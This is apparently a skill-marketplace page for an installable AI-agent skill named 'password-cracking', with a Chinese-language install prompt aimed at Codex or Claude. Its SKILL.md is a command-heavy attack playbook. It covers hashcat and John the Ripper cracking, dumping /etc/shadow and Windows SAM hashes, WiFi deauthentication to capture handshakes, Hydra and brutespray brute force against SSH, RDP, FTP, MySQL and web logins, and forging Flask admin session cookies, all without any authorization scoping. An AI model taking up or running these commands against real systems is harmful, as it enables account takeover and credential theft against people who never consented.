aivos-xie
aivos-xie/hermes-skills
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/aivos-xie/hermes-skills --skill password-cracking命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
基于 SOC 职业分类
| name | password-cracking |
| description | 密码爆破工具链 — hashcat, John, Hydra, Medusa, CeWL, crunch |
| version | 1.0.0 |
| author | Hermes Agent |
| license | MIT |
| metadata | {"hermes":{"tags":["password","cracking","hashcat","john","brute-force","dictionary","hash","wifi","network"]}} |
| 工具 | 用途 | 特点 |
|---|---|---|
| hashcat | GPU密码破解 | 最快，400+哈希类型 |
| John the Ripper | CPU密码破解 | 格式最多 |
| Hydra | 网络协议爆破 | SSH/FTP/HTTP/RDP等 |
| Medusa | 网络协议爆破 | 并发更高 |
| Ncrack | 网络认证爆破 | Nmap团队出品 |
| CeWL | 自定义字典生成 | 爬取网站生成词典 |
| crunch | 暴力字典生成 | 按规则生成组合 |
| maskprocessor | 掩码字典生成 | hashcat配套 |
| RainbowCrack | 彩虹表破解 | 时间换空间 |
| hashid | 哈希类型识别 | 自动判断格式 |
| nth | 哈希类型识别 | 更智能的识别器 |
sudo apt install hashcat # 可能较旧，建议源码编译
# 源码编译 (推荐，获取v7.1.2+)
git clone https://github.com/hashcat/hashcat.git
cd hashcat && make -j$(nproc) && sudo make install
# v7.x新增: Rust Bridge插件支持、Docker (AMD HIP/OpenCL)
0 MD5
100 SHA1
1000 NTLM
1400 SHA256
1700 SHA512
3000 LM
3200 bcrypt ($2*)
2500 WPA/WPA2
22000 WPA-PBKDF2-PMKID+EAPOL
5600 NetNTLMv2
13100 Kerberos 5 TGS-REP
18200 Kerberos 5 AS-REP
10 md5($pass.$salt)
20 md5($salt.$pass)
1410 sha256($pass.$salt)
1710 sha512($salt.$pass)
# v7.1新增模式
34200 KeePass4 (KDBX4)
sm3crypt / $sm3$ SM3 (Unix/中国国密)
94200 BLAKE2b-256
28100 Windows Hello PIN/Password
9600 MS Office 2013
# 字典攻击
hashcat -m 0 -a 0 hash.txt wordlist.txt
# 掩码暴力(8位小写字母+数字)
hashcat -m 0 -a 3 hash.txt ?l?l?l?l?l?l?l?l
# 组合攻击
hashcat -m 0 -a 1 hash.txt wordlist1.txt wordlist2.txt
# 规则攻击
hashcat -m 0 -a 0 -r rules/best64.rule hash.txt wordlist.txt
# 增量掩码(所有可打印6位)
hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a
# 恢复中断
hashcat --session=my --restore
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?s = 特殊符号
?a = ?l?u?d?s
?b = 0x00-0xff
# 1. 抓握手包
airmon-ng start wlan0
airodump-ng wlan0mon
aireplay-ng -0 5 -a <BSSID> -c <CLIENT> wlan0mon
# 2. 破解
hashcat -m 22000 -a 0 capture.hc22000 wordlist.txt
hashcat -m 1000 -a 0 ntlm_hash.txt wordlist.txt
hashcat -m 5600 -a 0 netntlmv2.txt wordlist.txt
hashcat -m 0 hash.txt wordlist.txt --show # 显示已破解
hashcat -m 0 hash.txt wordlist.txt -o cracked.txt # 输出文件
hashcat -m 0 hash.txt wordlist.txt --status # 进度
hashcat -m 0 hash.txt wordlist.txt --hwmon-temp-abort=90 # 温控
sudo apt install john
# 社区增强版(推荐)
git clone https://github.com/openwall/john.git -b bleeding-jumbo
cd john/src && ./configure && make -s clean && make -sj4
john hash.txt # 自动识别
john --format=md5 hash.txt # 指定格式
john --wordlist=rockyou.txt hash.txt # 字典
john --wordlist=rockyou.txt --rules hash.txt # 规则
john --incremental hash.txt # 暴力
john --show hash.txt # 查看已破解
john --list=formats | grep -i md5 # 列出格式
md5crypt / sha512crypt / bcrypt / nt / lm
raw-md5 / raw-sha256 / raw-sha512
mssql / oracle11 / wpa
sudo unshadow /etc/passwd /etc/shadow > linux_hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt linux_hashes.txt
secretsdump.py LOCAL -sam SAM -system SYSTEM
john --format=nt ntlm_hashes.txt
sudo apt install hydra # 建议v9.7+，可从源码编译
# 源码安装 (推荐最新v9.7):
sudo apt install -y git build-essential libssl-dev libssh-dev libidn11-dev libpcre3-dev libmysqlclient-dev libpq-dev
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra && ./configure && make -j$(nproc) && sudo make install
# SSH
hydra -l admin -P passwords.txt ssh://192.168.1.100
# FTP
hydra -l admin -P passwords.txt ftp://192.168.1.100
# HTTP POST表单
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form \
"/login:username=^USER^&password=^PASS^:Login Failed"
# RDP
hydra -l administrator -P passwords.txt rdp://192.168.1.100
# MySQL
hydra -l root -P passwords.txt 192.168.1.100 mysql
# 多目标
hydra -L users.txt -P passwords.txt -M targets.txt ssh
# 并发控制
hydra -l admin -P passwords.txt -t 4 ssh://192.168.1.100
# 恢复
hydra -R
# POST (失败标志)
hydra -l admin -P passwords.txt target http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# POST JSON
hydra -l admin -P passwords.txt target http-post-form \
'/api/login:{"username":"^USER^","password":"^PASS^"}:F=401'
# 带Cookie
hydra -l admin -P passwords.txt target http-post-form \
"/login:username=^USER^&password=^PASS^:H=Cookie: session=abc:F=Failed"
sudo apt install cewl
cewl https://target.com -d 2 -m 5 -w wordlist.txt
cewl https://target.com -d 2 -m 5 -e --email_file emails.txt
sudo apt install crunch
crunch 8 8 0123456789 -o digits.txt # 8位数字
crunch 6 8 abcdefghijklmnopqrstuvwxyz -o alpha.txt # 6-8位字母
crunch 10 10 -t @@@@%%%%%% -o pattern.txt # 模式
# @ = 小写字母, , = 大写字母, % = 数字, ^ = 特殊字符
git clone https://hashcat.net/maskprocessor/
cd maskprocessor/src && make
./mp64 ?d?d?d?d?d?d?d?d > digits.txt
./mp64 -1 ?l?d ?1?1?1?1?1?1 # 6位小写+数字
pip install hashid name-that-hash
hashid '$2a$10$...'
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
nth -t '$2a$10$...' # 识别并推荐hashcat/john模式
1. 识别hash类型 (hashid / nth)
2. 选择工具 (hashcat GPU优先)
3. 字典攻击 (rockyou.txt + 规则)
4. 掩码暴力 (?d?d?d?d?d?d 6位数字)
5. 组合攻击 (字典1 x 字典2)
6. 纯暴力 (最后手段)
/usr/share/wordlists/rockyou.txt.gz
# SecLists
SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
SecLists/Passwords/Common-Credentials/best1050.txt
SecLists/Usernames/top-usernames-shortlist.txt
# hashcat
rules/best64.rule
rules/toggles1.rule
rules/d3ad0ne.rule
rules/dive.rule
# John
--rules=best64
--rules=jumbo
hashcat -m 0 -a 3 hash.txt ?l?l?l?l?d?d?d?d # 前4字母后4数字
hashcat -m 0 -a 3 hash.txt 'P@ss?d?d?d' # 已知部分
hashcat -m 0 -a 3 -1 ?l?u -2 ?l?d hash.txt ?1?2?2?2?2?2 # 自定义字符集
split -l 1000 hash.txt hash_part_
# 不同机器跑不同部分
cat hash_part_*.potfile | sort -u > all_cracked.txt
pip install brutespray
# 自动解析Nmap/Nessus输出，对发现的服务进行凭证爆破
brutespray -f nmap.xml -U users.txt -P passwords.txt
brutespray -f nmap.gnmap --threads 5
pip install flask-unsign
# 爆破Flask secret key / 伪造session cookie
flask-unsign --unsign --cookie 'session_cookie_here'
flask-unsign --wordlist wordlist.txt --unsign --cookie 'session_cookie_here'
flask-unsign --sign --cookie '{"user":"admin"}' --secret 'discovered_key'